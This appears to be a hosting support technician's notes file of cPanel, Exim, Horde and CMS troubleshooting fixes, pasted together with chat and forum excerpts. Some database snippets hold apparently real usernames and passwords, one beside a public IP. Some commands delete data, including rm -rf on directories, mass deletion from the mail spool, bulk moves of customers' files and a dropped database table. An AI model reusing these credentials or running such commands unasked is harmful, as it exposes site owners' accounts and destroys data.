Fatal error: Cannot redeclare class Translation2 in /usr/local/lib/php/Translation2.php on line 82
** Solution: Please find the instructions to fix this issue below:
1. open the /system/ext/Translation2/Translation2.php file
2. add the line: if (false){ right after: <?php
3. add the line: } right before: ?> at the end of the file.
Please let us know if it did not help you, and send us your FTP access in order we can help you.coppermine gallary issues and documentation
http://documentation.coppermine-gallery.net/en/upload_troubleshooting.htm
want to change "Copyright © 2003 Zen Cart. Powered by Zen Cart"
How to change "Powered by Zen Cart"
If you want to change the text at the bottom of the page "Copyright © 2003 Zen Cart. Powered by Zen Cart" you should edit the following file:
\includes\languages --> english.php
Here you can see a text you should modify.
define('FOOTER_TEXT_BODY', 'Copyright © 2003 <a href="http://www.zen-cart.com" target="_blank">Zen Cart</a>. Powered by <a href="http://www.zen-cart.com" target="_blank">Zen Cart</a>');
Also:
If you want to change a title bar text, you should edit the following file:
\includes\languages\english --> meta_tags.php
Here you can see 2 variables for this text.
// page title
define('TITLE', 'Zen Cart!');
// Site Tagline
define('SITE_TAGLINE', 'The Art of E-commerce');
URL : http://info.template-help.com/after_sale_support/Working_with_ZenCart_templates/article3.html
cPanel not showing quotas correctly
So far this has only been reported on CPanel servers, but it may apply to other panels as well. There have been some reported cases of user quotas not being calculated correctly.
The fix from sw-soft was to reinstall quota RPM from the template.
From the hardware node, run:
If RH9:
for veid in `VEIDHERE`; do rpm -ivh --nodeps --root=/vz/root/$veid /vz/template/redhat-9/quota-3.06-9.3.swsoft.i386.vz.rpm --force; vzctl exec $veid "ln -sf /bin/true /sbin/quotaon && ln -sf /bin/true /sbin/quotaoff"; done
If FC2:
for veid in `VEIDHERE`; do rpm -ivh --nodeps --root=/vz/root/$veid /vz/template/fedora-core-2/quota-3.10-2.2.swsoft.i386.vz.rpm --force; vzctl exec $veid "ln -sf /bin/true /sbin/quotaon && ln -sf /bin/true /sbin/quotaoff"; done
NOTE: `something in backticks` indicates your running some command to get the list of veids - like /root/bin/allVe.sh. If you not running a command, replace `VEIDHERE` with a list of VEIDs.
The following also will help:
(Replace VE_ID with the veid)
veid=VE_ID; vzctl stop $veid; vzctl quotaoff $veid; vzctl quotainit $veid; vzctl start $veid; vzctl enter $veid
/scripts/fixeverything
(Contact Sergey for details )
For situations where quotas agree in du and WHM but the user CPanel does not, it's most likely the CPanel data cache that has become corrupted.
Just remove the datacache file.
rm -rf /home/USERNAME/.cpanel-datastore
The next time the CPanel is refreshed, it will regenerate the information.rebuilding cPanel's internal PHP
/scripts/makecpphp -force
/usr/local/cpanel/logs/cpbackupHow To Set Up Cron Jobs In Cpanel
http://calendarscripts.info/cron-jobs-tutorial.htmlcrontab -l -u username ( where l = list crontab)
crontab -e -u username ( where e = edit crontab )csf.conf some parameters value :
CT_LIMIT = "150"
TESTING = "1"
TCP_IN = "........,5666,............."
note : 5666 nagios port
http://www.configserver.com/free/csf/install.txt
STEPS :
1.Uninstallation
==============
Removing csf and lfd is even more simple:
On cPanel servers:
cd /etc/csf
sh uninstall.sh
2.Installation
============
Installation is quite straightforward:
rm -fv csf.tgz
wget http://www.configserver.com/free/csf.tgz
tar -xzf csf.tgz
cd csf
sh install.sh
3.csf.conf some parameters value :
CT_LIMIT = "150"
TESTING = "1"
TCP_IN = "........,5666,............."
note : 5666 nagios port
4. csf -r
http://www.tizag.com/perlT/perldbiconnect.php
connection of db using perl script
#!/usr/bin/perl
# PERL MODULES WE WILL BE USING
use DBI;
use DBD::mysql;
# HTTP HEADER
print "Content-type: text/html \n\n";
# CONFIG VARIABLES
$platform = "mysql";
$database = "store";
$host = "localhost";
$port = "3306";
$tablename = "inventory";
$user = "username";
$pw = "password";
#DATA SOURCE NAME
$dsn = "dbi:mysql:$database:localhost:3306";
# PERL DBI CONNECT (RENAMED HANDLE)
$dbstore = DBI->connect($dsn, $user, $pw) or die "Unable to connect: $DBI::errstr\n";
****************************************************************************************
Another Script :
http://sawaal.ibibo.com/computers-and-technology/how-we-connect-database-control-panel-ftp-server-480285.html
#!/usr/bin/perl
use DBI;
$database = "DBNAME";
$hostname = "db.YOURDOMAIN";
$port="3306";
$username="DBUSERNAME";
$password = "DBPASSWORD";
$dsn= "DBI:mysql:database=$database;host=$hostname;port=$port";
$dbh = DBI -> connect($dsn,$username,$password) or die ("Could not connect!");
$sql = "SELECT * FROM mytable";
$sth = $dbh->prepare($sql);
$sth-> execute;
while(($column1,$column2) = $sth->fetchrow_array)
{
print "C1=$column1, C2=$column2n";
}
$dbh->disconnect;<?php
$Host = "localhost"; //you can use IP address instead of localhost
$User = "everesti_user1";
$Password = "chri1234";
$Database = "everesti_RP";
$Link_ID=mysql_pconnect($Host, $User, $Password);
if(!$Link_ID)
{
echo"Failed";
return 0;
}
else
{
echo "Connection to the database - successful";
}
if(!@mysql_select_db($Database,$Link_ID))
{
echo "<br>cannot use Database=".$Database;
}
else
{
echo "<br>connected to Database=".$Database;
}
?>
$Host = "localhost"; //you can use IP address instead of localhost
$User = "freeftaf_protow";
$Password = "123456";
$Database = "freeftaf_freeftafiles";
define('DB_SERVER', 'localhost');
define('DB_SERVER_USERNAME', 'masjid_osc1');
define('DB_SERVER_PASSWORD', 'iioY7bkNKHhU');
define('DB_DATABASE', 'masjid_osc1');
"66.7.215.126:3306","soeconco_step54","step8354")
iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP
iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP
ddos attack :
netstat -apn
http://www.linuxsecurity.com/content/view/121960/49/
http://blog.readywire.com/2008/11/ddos-attack/
http://kmaiti.blogspot.com/2010/11/install-firewalls-on-linux.htmlroot@king [/var/cpanel/userdata/isulahos]# /scripts/restartsrv_ipaliasesFollowing command shows listing of files which does not match html and php type.
find . \( \! -name "*\.html" \! -name "*\.php" -type f \) -print
http://www.techtalkz.com/unix/78073-delete-files-except-certain-ones.htmldig mx software-bridge.com | grep MXDisabling paypal phishing sites via modsec2.conf :
below is the procedure :
[2:32:50 AM] vulgar: login to vision server
[2:33:36 AM] vulgar: logged in ?
[2:33:43 AM] adminhost: yes
[2:33:47 AM] vulgar: cat /etc/httpd/conf/modsec2.conf
[2:34:01 AM] vulgar: do you see the line SecRule REQUEST_URI "webscr.php"
[2:34:11 AM] adminhost: yes
[2:34:26 AM] vulgar: this will disable all paypal phishing sites on server
[2:34:41 AM] vulgar: now we have to add this line to every server in that file
[2:34:51 AM] adminhost: ok, will add it now
[2:34:53 AM] vulgar: just above the line
Include "/usr/local/apache/conf/modsec2.user.conf"
[2:34:57 AM] vulgar: and restart httpd
[2:35:01 AM] adminhost: ok
[2:35:06 AM] vulgar: be carefull in syntax
[2:35:11 AM] adminhost: ok
[2:35:14 AM] vulgar: and do it for all 4 projects
[2:35:18 AM] vulgar: all servers
[2:35:19 AM] adminhost: yes
[2:35:31 AM] vulgar: only not the main server on which we have main websitesDisable Magic_quotes_gpc In A .htaccess File
How do I disable magic quotes via .htaccess?
I put the following file in my webroot, but it does not disable
magic_quotes_gpc (according to phpinfo(), both the local and master value
are still "on")
<IfModule mod_php4.c>
php_value upload_max_filesize 8M
php_value magic_quotes_gpc 0
</IfModule>
The change to upload_max_filesize works (master is 2M, local value is 8M,
according to phpinfo())
**************************************************************************
The wrong statement is:
# php_value magic_quotes_gpc on
The correct syntax is:
php_flag magic_quotes_gpc on
to find and delete all files like .rar, .mp3, avi, mpeg fire this command and after that files gets stored in /home/delete of the server.
find /home/*/public_html/ -iname '*.rar' -exec mv "{}" /home/delete \;
find /home/*/public_html/ -iname '*.mp3' -exec mv "{}" /home/delete \;
find /home/*/public_html/ -iname '*.mpeg' -exec mv "{}" /home/delete \;
find /home/*/public_html/ -iname '*.avi' -exec mv "{}" /home/delete \;
find /home -name "*" -size +100000k
find */public_html/* -name .pure*
find /home/*/public_html/ -iname '*.pure' -exec mv "{}" /home/delete \; 3ware /c0 showi get these 2 errors on top of the page:
Warning: Division by zero in /home/gmistake/public_html/catalog/includes/classes/shipping.php on line 61
Warning: Division by zero in /home/gmistake/public_html/catalog/includes/classes/shipping.php on line 62
i believe those 2 lines are:
$shipping_num_boxes = ceil($shipping_weight/SHIPPING_MAX_WEIGHT);
$shipping_weight = $shipping_weight/$shipping_num_boxes;
Go to Admin -> Configuration -> Shipping/Packaging ->Enter the Maximum Package Weight you will ship
Make sure that is NOT Zero. http://www.hostdime.com/support/forms/copyright_claim_form.pdfDolphin installation error :
XsltProcessor is Off, you should install XsltProcessor
Please go to the
Dolphin Troubleshooter
and solve the problem.
: You need to install this PHP extension: XSL
See here for full list of requirements:
http://www.boonex.com/trac/dolphin/wiki/DolTech
****************
Dolphin Hosting Requirements
Default Dolphin installation works with most common configurations of hosting server, however, since Dolphin is a package with multiple scripts and apps, it is very important to ensure that all of the following requirements are met. Most of the technical problems occur due to improper server setup, so make sure that your hosting provider is Dolphin-compatible.
To help avoid trouble, we gathered a number of Recommended Hosting Providers that have Dolphin-ready accounts and experience with managing accounts that have Dolphin installed. Some of them offer instant installation or even pre-installed Dolphin.
Providing that the server is properly configured, it is possible to run Dolphin on a shared hosting account. We do recommend, however, to have a VPS or a Dedicated Server for Dolphin.
==========
Server Requirements
==========
Linux/Unix (Red Hat, Debian, FreeBSD, Mandrake, etc.) or Windows OS
Apache Web Server ver. 1.3 or higher.
PHP 5.2.0 or higher.
register_globals must be Off
safe_mode must be Off
exec() (executable files) must be allowed
allow_url_fopen should be On
allow_url_include should be Off
open_basedir should not have any value memory_limit should be 128M or higher
mbstring, gd and xslt extensions must be installed.
MySQL 4.1.2 and higher.
The magic_quotes_gpc option must be disabled for Dolphin 7.x, but enabled for Dolphin 6.x.
If security module is installed (such as mod_security for Apache), it should be able to be configured for specific folders (or disabled).
Direct connection to boonex.com should be able to be established (i.e. connection without requiring proxy authorisation). This is required for license verification.
GD library compiled with FreeType fonts (for photo processing) or ImageMagick as an alternative.
Sendmail or Postfix programs for sending emails.
Ability to create Cron Jobs.
You should be able to run executable files (you would need it for ffmpeg.exe, which converts videos).
Server Requirements for Media Streaming
Some of the Dolphin's features (such as Flash Chat, Flash IM, Boards, Video Recorder, Video Comments) require media streaming capabilities. To use those, you need to make sure that the following requirements are met:
VPS or Dedicated server is generally required in order to be able to install and run RMS (Ray Media Server). You would need an access to root or administrator account on the hosting server.
JRE (Java Runtime Environment) ver. 1.6 or higher should be installed.
Ports 1935, 1936 and 5080 should be open on the server.
Allowance of at least 15 KB/sec for media streaming for each user.
It is a good idea to send the list above to your hosting provider to make sure the server is ready for installation. If all the above requirements are met you are all set to proceed to Dolphin Installation.
Recommended Hosting Providers
Over years we worked with many different hosting providers and some of them are very experienced when it comes to managing Dolphin sites. Going for one of our Recommended Hosting Providers is a good idea for both starters and those willing to work with companies that have Dolphin-experience. Most of our hosting partners provide automatic Dolphin installation and special discounts for Dolphin users.
Recommended Server Setup
Since Dolphin is a resource-intensive platform, it is very important to "fine-tune" your server. In some cases (for popular sites) you may have to setup servers-cluster, and/or remove database server. Alternative "web-server" software, such as nginx may also be beneficial to your site performance. Please refer to Hosting Server Setup Recommendations for the details on how you can tune-up your server. E-mail Configuration > Microsoft Outlook 2007
http://www1.umn.edu/adcs/guides/email/winoutlook2007mam, is it possible to get a backup for any perticular email account ?
[1:54:11 PM] vulgar: yes from whm --restore backup -- select username-- select mail and restoreEmail Piping with Cpanel
http://www.activecampaign.com/support/tt/index.php?action=kb&article=331
http://www.daniweb.com/forums/thread55673.html
What is SSI :
How to enable SSI (Server Side Include) support on an Apache web server
Server Side Include (or SSI) is a useful feature that enables you to do things like include files into your web pages. The most common use for this feature is to allow you to design a navigation bar, put it in a separate file and then include that in all of your web pages. When you need to change the navigation bar you change just the include file, not every web page on your server. The change in the include file simply propogates through all the pages that include it.
============================================================================
http://broadbandforum.in/web-services/53-enable-ssi-apache-using-htaccess-file/
============================================================================
To enable the SSI ( Server Side Includes ) you have to put the following code inside .htaccess file.
AddType text/html .shtml .html .htm
AddHandler server-parsed .shtml .html .htm
Options Indexes FollowSymLinks Includes
============================================================================
Read more: http://broadbandforum.in/web-services/53-enable-ssi-apache-using-htaccess-file/#ixzz0ULxf0WPm
http://forums.solidhost.com/showthread.php?t=440
http://www.webhostingtalk.com/showthread.php?t=623960
http://www.techcuriosity.com/resources/exim/exim.php
http://forums.spry.com/cpanel-whm/1373-helpful-exim-commands.html
Files in /var/spool/exim/msglog contain logging information for each message and are named the same as the message-id.
Files in /var/spool/exim/input are named after the message-id, plus a suffix denoting whether it is the envelope header (-H) or message data (-D).
These directories may contain further hashed subdirectories to deal with larger mail queues, so don't expect everything to always appear directly on the top /var/spool/exim/input or /var/spool/exim/msglog directories; any searches or greps will need to be recursive. See if there is a proper way to do what you're doing before working directly on the spool files.
Queues information
1) Print a count of the messages in the queue:
Quote:
root@localhost# exim -bpc
2) Print a listing of the messages in the queue (time queued, size, message-id, sender, recipient):
Quote:
root@localhost# exim -bp
3) Print a summary of messages in the queue (count, volume, oldest, newest, domain, and totals):
Quote:
root@localhost# exim -bp | exiqsumm ----------------------------------------------------->
4) Generate and display Exim stats from a logfile:
Quote:
root@localhost# eximstats /path/to/exim_mainlog
5) Generate and display Exim stats from a logfile, with less verbose output:
Quote:
root@localhost# eximstats -ne -nr -nt /path/to/exim_mainlog
6) Generate and display Exim stats from a logfile, for one particular day:
Quote:
root@localhost# fgrep 2007-02-16 /path/to/exim_mainlog | eximstats
7) Print what Exim is doing right now:
Quote:
root@localhost# exiwhat
8) To delete frozen emails
Quote:
exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim -Mrm
9) To deliver emails forcefully
Quote:
exim -qff -v -C /etc/exim.conf & -------------------------- provides the error logs also
**********************************************************************************************************
It may be useful to someone, sometimes the queded mail list gets gigantic because of some spammer and other emails that aren't spam could get deleted when using cPanel to control it.
The better solution would obviously be to prevent spammers of sending all those mails, if you know a better solution on cPanel 11 please share it with me.
==== REMOVE MAILS BY ID ====
/usr/sbin/exim -v -Mrm (MAIL ID HERE)
==== LIST QUEDED MAILS ====
/usr/sbin/exim -bp
==== OUTPUT NUMBER OF QUEDED MAILS ====
/usr/sbin/exim -bpc
==== DELETE FROZEN MAILS ====
/usr/sbin/exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim -Mrm
==== DELIVER FORCEFULLY EMAILS ====
/usr/sbin/exim -qff -v -C /etc/exim.conf &
==== FREEZE MAILS FROM SENDER ====
/usr/sbin/exiqgrep -i -f (MAIL ADDRESS HERE) | xargs exim -Mf
==== REMOVE MAILS FROM SENDER ====
/usr/sbin/exiqgrep -i -f (MAIL ADDRESS HERE) | xargs exim -Mrm
****************************************************************************************************
>> Count the number of messages in the queue.
root@localhost# exim -bpc
>> Listing the messages in the queue (time queued, size, message-id, sender, recipient).
root@localhost# exim -bp
>> Print a summary of messages in the queue (count, volume, oldest, newest, domain, and totals).
root@localhost# exim -bp | exiqsumm
>> Check what Exim is doing right now.
root@localhost# exiwhat
>> Test how exim will route a given address.
root@localhost# exim -bt user@localdomain.com
>> Display Exim's configuration settings.
root@localhost# exim -bP
>> Search the queue for messages from a specific sender.
root@localhost# exiqgrep -f [luser]@domain
>> Search the queue for messages for a specific recipient/domain.
root@localhost# exiqgrep -r [luser]@domain
>> Print messages older than the specified number of seconds. Eg: messages older than 1 hour.
root@localhost# exiqgrep -o 3600 [...]
>> Print messages younger than the specified number of seconds. Eg: messages less than an hour old.
root@localhost# exiqgrep -y 3600 [...]
>> Match the size of a message with a regex. Eg: Messages between 500-599 bytes.
root@localhost# exiqgrep -s '^5..$' [...]
>> Match only frozen messages.
root@localhost# exiqgrep -z
>> Match only frozen messages.
root@localhost# exiqgrep -x
>> Print just the message-id of the entire queue.
root@localhost# exiqgrep -i
>> Start a queue run.
root@localhost# exim -q -v
>> Start a queue run for just local deliveries.
root@localhost# exim -ql -v
>> Remove a message from the queue.
root@localhost# exim -Mrm <message-id> [ <message-id> ... ]
>> Freeze a message.
root@localhost# exim -Mf <message-id> [ <message-id> ... ]
>> Thaw a message.
root@localhost# exim -Mt <message-id> [ <message-id> ... ]
>> Deliver a message, whether it's frozen or not, whether the retry time has been reached or not.
root@localhost# exim -M <message-id> [ <message-id> ... ]
>> Deliver a message, but only if the retry time has been reached.
root@localhost# exim -Mc <message-id> [ <message-id> ... ]
>> Force a message to fail and bounce as "cancelled by administrator".
root@localhost# exim -Mg <message-id> [ <message-id> ... ]
>> Remove all frozen messages.
root@localhost# exiqgrep -z -i | xargs exim -Mrm
>> Remove all messages older than five days (86400 * 2 = 172800 seconds).
root@localhost# exiqgrep -o 172800 -i | xargs exim -Mrm
>> Freeze all queued mail from a given sender.
root@localhost# exiqgrep -i -f user@example.com | xargs exim -Mf
>> View a message's headers.
root@localhost# exim -Mvh <message-id>
>> View a message's body.
root@localhost# exim -Mvb <message-id>
>> View a message's logs.
root@localhost# exim -Mvl <message-id>
>> Add a recipient to a message.
root@localhost# exim -Mar <message-id> <address> [ <address> ... ]
>> Edit the sender of a message.
root@localhost# exim -Mes <message-id> <address>
**********************************************************************************************************************
This is a list of some of the commands I commonly use when troubleshooting exim:
exim -bp|grep $name Will show the mail in queue for $name
exim -Mvh $MSGID View message header
exim -Mvb $MSGID View message body
exim -M $MSGID Force delivery of message
exim -v -M $MSGID View the transact of message
Force delivery of one message
exim -M email-id
Force another queue run
exim -qf
Force another queue run and attempt to flush the frozen message
exim -qff
View the log for the message
exim -Mvl messageID
View the body of the message
exim -Mvb messageID
View the header of the message
exim -Mvh messageID
Remove message without sending any error message
exim -Mrm messageID
Giveup and fail message to bounce the message to the Sender
exim -Mg messageID
How much mail in the queue?
exim -bpr | grep "<" | wc -l
How many Frozen mails in the queue
exim -bpr | grep frozen | wc -l
Deleteing Frozen Messages
exim -bpr | grep frozen | awk {'print $3'} | xargs exim -Mrm ---------------> this can be execute only.
To find out, how many messages are there in the mail queue:
exim -bpc
To check the mails in the queue:
exim -bp
To force exim update:
/scripts/eximup --force
*******************************************************************************************************************
to find spammer
go to
/var/spool/exim/input/
root@supra [/var/spool/exim/input]# egrep "X-PHP-Script" * -R
egrep "X-PHP-Script" * -R
Fantastico installation :
Here are the steps to download Fantastico & install it onto your server :
Connect to your server using an SSH client.
Login as the root user.
Change to the proper cgi folder using the following command:
cd /usr/local/cpanel/whostmgr/docroot/cgi
Download the Fantastico install file using the following command:
wget http://www.netenberg.com/files/free/..._whm_admin.tgz
Extract the install file using the following command:
tar -xzpf fantastico_whm_admin.tgz
Remove the install file using the following command:
rm -rf fantastico_whm_admin.tgz
Re-Login to WHM in a web browser inorder for the above done changes to come into effect.
From the menu, under Plugins, click Fantastico De Luxe WHM Admin (usually located at the bottom of the Main Menu).
Refer this link if you get any errors while the installation process : Fantastico
http://www.eukhost.com/forums/f15/how-install-fantastico-linux-server-vps-4452/
***************
OR :
http://discussion.accuwebhosting.com/cpanel-whm-control-panel/396-how-install-fantastico-via-ssh-whm.html
How to Install Fantastico via SSH and WHM
Hello All,
Below mentioned are the steps to install Fantastico on Linux server via SSH access and WHM:
1) Login via SSH to your server and enter following commands:
cd /usr/local/cpanel/whostmgr/docroot/cgi
wget http://www.netenberg.com/files/free/..._whm_admin.tgz
tar -xzpf fantastico_whm_admin.tgz
rm -rf fantastico_whm_admin.tgz
2) Now go to WHM, login as root and follow the link WHM -> Add-Ons
-> Fantastico De Luxe WHM Admin. One need to complete the installation by following the online screens.
Note: If you will receive a license error and you are sure that your package includes Fantastico, then contact your data center technical support and have them license the server IP.
=======================================
You can use foloowing steps :
http://www.linuxsurgeon.org/kb/howto-install-fantastico.html
Hi,
Today i am installing fantastico on my linux server but i am getting some problem.I have installed properly but i am not able to see Fantastico in Cpanel so i searched on google and found a solution after a long time so i thought for people who are suffering from same problem so i put this article on my site for the Linux guys ……………..
# SSH to your server and enter following commands:
————————————————————————————————————————————-
cd /usr/local/cpanel/whostmgr/docroot/cgi
wget -N http://files.betaservant.com/files/free/fantastico_whm_admin.tgz
tar -xzpf fantastico_whm_admin.tgz
rm -rf fantastico_whm_admin.tgz
————————————————————————————————————————————-
NOTE: if you have problems contacting this server, please try this alternate location:
wget -N http://netenberg.com/files/free/fantastico_whm_admin.tgz
————————————————————————————————————————————-
Go to WHM, login as root and click on Tweak Settings, then you should ensure that both the Ioncube loader is selected for the backend copy of PHP. Save changes.
Now go here:
WHM -> Add-Ons (Plugins on v11.x or higher) -> Fantastico De Luxe WHM Admin (scroll down the left menu).
Upon loading, Fantastico De Luxe WHM Admin will auto-update your existing installation (if existing). All admin files (masterfiles, tarballs, settings etc) will be moved to or created at /var/netenberg.
————————————————————————————————————————————-
After the installation is complete, click on “Settings” and go through the settings. While some settings are not important, some other (marked below with an *) are essential for a proper functioning of Fantastico installations.
Language: Select the language for the admin backend AND default language for users without a language selected.
Email notifications: Enter an email address in order to receive notifications when users perform installations using Fantastico.
Master files settings (*): If you are not an advanced user who modifies the master files, leave this to “Remove”. Change this only if you know what you are doing.
PHPsuexec (*): VERY ESSENTIAL!!! Changing this value will not install or de-install phpsuexec for you. It will only tell Fantastico that you have phpsuexec installed or not installed on your server. Change to “installed” if you perform installations which produce an “Internal Server Error”. Notice: Changes will not apply to existing installations! You have to re-install in order to have working installations.
Path to netPBM: Enter the full path to the netPBM binaries in order to enable Gallery installations. As long as this field has no value, your users will not be able to install Gallery.
Select Fantastico licensing and files server: If the Fantastico pages take long to load switch to the server that works best for you. Fantastico will auto-switch if connections time out.
Update preference: Select latest version (sometimes experimental) or stable version (best working).
————————————————————————————————————————————-
Now you have installed Fantastico perfectly.Go to Cpanel and check it r u able to see Fantastico under Cpanel or not ? If you are not able to see then Follow the steps.
————————————————————————————————————————————-
If it is wget-1.10.2-3.3.fc5 or wget-1.10.2-8.fc6.1, or any version that yum installs on those OSes (they will typically end with .fc5 or .fc6 or .el5) we suggest that you replace it immediately with an older and/or stabler version. This version does not honor the “-P” switch.
An alternate version that we know works is wget-1.10.2-3.2.1 (though more recent versions should also work).
You can use the following commands for this purpose.
For 32-bit:
————————————————————————————————————————————–
rpm -qa wget ;
wget ftp://ftp.funet.fi/pub/mirrors/ftp.redhat.com/pub/fedora/linux/core/5/i386/os/Fedora/RPMS/wget-1.10.2-3.2.1.i386.rpm
chattr -ia /usr/bin/wget
rpm -e wget ;
rpm -ivh –force wget-1.10.2-3.2.1.i386.rpm ;
rpm -qa wget ;
————————————————————————————————————————————–
For 64-bit:
————————————————————————————————————————————–
rpm -qa wget ;
wget http://download.fedora.redhat.com/pub/fedora/linux/releases/7/Everything/x86_64/os/Fedora/wget-1.10.2-15.fc7.x86_64.rpm ;
chattr -ia /usr/bin/wget
rpm -e wget ;
rpm -ivh –force wget-1.10.2-15.fc7.x86_64.rpm ;
rpm -qa wget ;
————————————————————————————————————————————–
Now reinstall your Fantastico and check it ………………..Its Done !!!
————————————————————————————————————————————–
Uninstall Fantastico
————————————————————————————————————————————–
UNINSTALL FANTASTICO
rm -rf /var/netenberg/fantastico_de_luxe/
rm -rf /usr/local/cpanel/whostmgr/docroot/cgi/fantastico/
rm -rf /usr/local/cpanel/3rdparty/fantastico*
rm -rf /usr/local/cpanel/base/frontend/*/fantastico
rm -f /usr/local/cpanel/base/frontend/x/cells/fantastico.html
rm -f /usr/local/cpanel/whostmgr/docroot/cgi/addon_fantastico.cgi
————————————————————————————————————————————–Word press error :
Fatal error: Allowed memory size of 33554432 bytes exhausted
Open wp-settings.php
and set memory limit
define('WP_MEMORY_LIMIT', '64M');
Also Check all these URL's
http://support.uk-vps.com/index.php?_m=knowledgebase&_a=viewarticle&kbarticleid=10
http://www.mycutelife.net/sanju/help1/mailissue
http://helpdesk.hostmonster.com/index.php/kb/article/372
Error from Squirremail :
1)grep -rl ahoo.co.in /var/spool/exim/input/ | xargs rm
this will delete the mails from ythe queue which consist of ahoo.co.in
********************************************************************************************************
2) exim -bp |exiqsumm
exim -bp | exiqsumm | awk '{if ($1 >100)print $0 }' | sort -n
this will show the no of mails for each domain
to find who is sending mails
ps -C exim -fH eww
********************************************************************************************************
3) error in webmail
-----------------------------
Email delivery error Server replied:
1 Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -ftest@domainname.com'.
-----------------------------
Email delivery error Server replied: 255 Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -ftest@philadelphiamaven.com'.
-----------------------------
Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -f in squirrelmail
Solution
Quite a hard one to track down this one :-
First SSH into your server and run :-
/scripts/fixeverything
/scripts/upcp --force
/scripts/eximup --force
if that does not fix the issue run the following commands:-
cd /usr/sbin
mv sendmail sendmail.157979
ln -s /usr/sbin/exim /usr/sbin/sendmail
mv /etc/eximmailtrap /etc/eximmailtrap.157979
All sorted, it should be.
one more fix is given below.
root@abc [~]# cd /usr/sbin
root@abc [/usr/sbin]# mv sendmail sendmail.157979
root@abc [/usr/sbin]# ln -s /usr/sbin/exim /usr/sbin/sendmail
root@abc [/usr/sbin]# mv /etc/eximmailtrap /etc/eximmailtrap.157979
Exim e-mail filtering doesn't work for maildir
Currently cpanel e-mail filtering only supports mbox format.
Here is a workaround for maildir
###############################
vi /etc/exim.conf
Under DIRECTORS CONFIGURATION (there are two section file_transport under DIRECTORS CONFIGURATION. Just add the below line with the first file_transport = address_file section.)
Under file_transport = address_file
add the line directory_transport = address_directory
example----->>
--------------------------------------
central_filter:
#!!# filter renamed allow_filter
driver = redirect
allow_filter
no_check_local_user
file = /etc/vfilters/${domain}
file_transport = address_file
directory_transport = address_directory
pipe_transport = virtual_address_pipe
reply_transport = address_reply
retry_use_local_part
user = "${lookup{$domain}lsearch* {/etc/userdomains}{$value}}"
no_verify
--------------------------------------
Under TRANSPORTS CONFIGURATION
add the following lines
address_directory:
debug_print = "T: address_directory for $local_part@$domain"
driver = appendfile
envelope_to_add = true
return_path_add = true
check_string = ""
escape_string = ""
maildir_format
chattr +ia /etc/exim.conf
/etc/init.d/exim restart
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
mbox to maildir conversion of single account
working one is the first
===========================================================================
Use this custom script to convert single mbox files to maildir format
Convert mbox to maildir
wget http://batleth.sapienti-sat.org/projects/mb2md/mb2md-3.20.pl.gz
gunzip mb2md-3.20.pl.gz
./mb2md-3.20.pl -s path_to_inbox
===========================================================================
download this
http://perfectmaildir.home-dn.net/perfect_maildir/perfect_maildir.pl
usage
./perfect_maildir.pl ~Maildir/ <mbox.file
one example is given below
./perfect_maildir.pl /home/harrison/mail/cur < /home/harrison/mail/inbox
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
http://forums.cpanel.net/showthread.php?t=54012&highlight=address+book
error
No browseable address books
fix
Edit the file:
/usr/local/cpanel/base/horde/turba/config/sources.php
on the server with your favorite command line editor. Look for a line of code that reads like:
Code:
'public' => false, 'readonly' => false, 'admin' => array(), 'export' => true
Should be around line 132 I believe. Add 'browse' => true, to this section of code, so that it reads as:
Code:
'public' => false, 'readonly' => false, 'admin' => array(), 'browse' => true, 'export' => true
Then just save the file and log back into Horde.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
------------------------------------------------------------
loops back to login page in horde
solution
mysql
mysql> use horde;
mysql> drop table horde_sessionhandler;
mysql> CREATE TABLE horde_sessionhandler (
session_id VARCHAR(32) NOT NULL,
session_lastmodified INT NOT NULL,
session_data LONGBLOB,
PRIMARY KEY (session_id)
) ENGINE = InnoDB;
------------------------------------------------------------
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
address book missing
http://forums.cpanel.net/showthread.php?t=43342&highlight=address+book
I found the error I had was caused by a wrongly named file in:
/usr/local/cpanel/base/horde/turba/scripts/upgrades/
1.2_to_2.0.sql should have been 1.2_to_2.0.mysql.sql
To fix:
cd /usr/local/cpanel/base/horde/turba/scripts/upgrades/
If the file is wrongly named, rename it:
mv 1.2_to_2.0.sql 1.2_to_2.0.mysql.sql
Or scp it over from another server with the correct filename
/usr/local/cpanel/bin/updatehorde
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
horde issue
login page again and again
if you recently made changes to your my.cnf file, see if you have
skip-innodb
if do, comment it out.
#skip-innodb
Reply With Quote
squirrelmail
error missing folders
solution
http://squirrelmail.org/wiki/MissingFolders
Check Options->Folder Preferences->Show only subscribed folders.
Try subscribing to those folders. Click "Folders" choose you folder(s), you can do multi-select, and click "Subscribe."
If this does not work it may be because SquirrelMail is configured for the wrong type of IMAP server, or does not support your IMAP server.
If the folders were not even listed, it is quite possible that they were stored on your local machine. Fire up your old mail reader and move the folders back onto the IMAP server.
Admins, please note that if your IMAP server is not listed that does NOT mean that it won't work. It just means that there are no "special" options (a.k.a. work-arounds) for your particular server.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
spamassaqssin upgrade
vi /home/.cpcpan/modules.versions
then change the version
/scripts/installspam
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
/scripts/convert2maildir is not working.
change the entry courier to 0 in /var/cpanel/cpanel.config
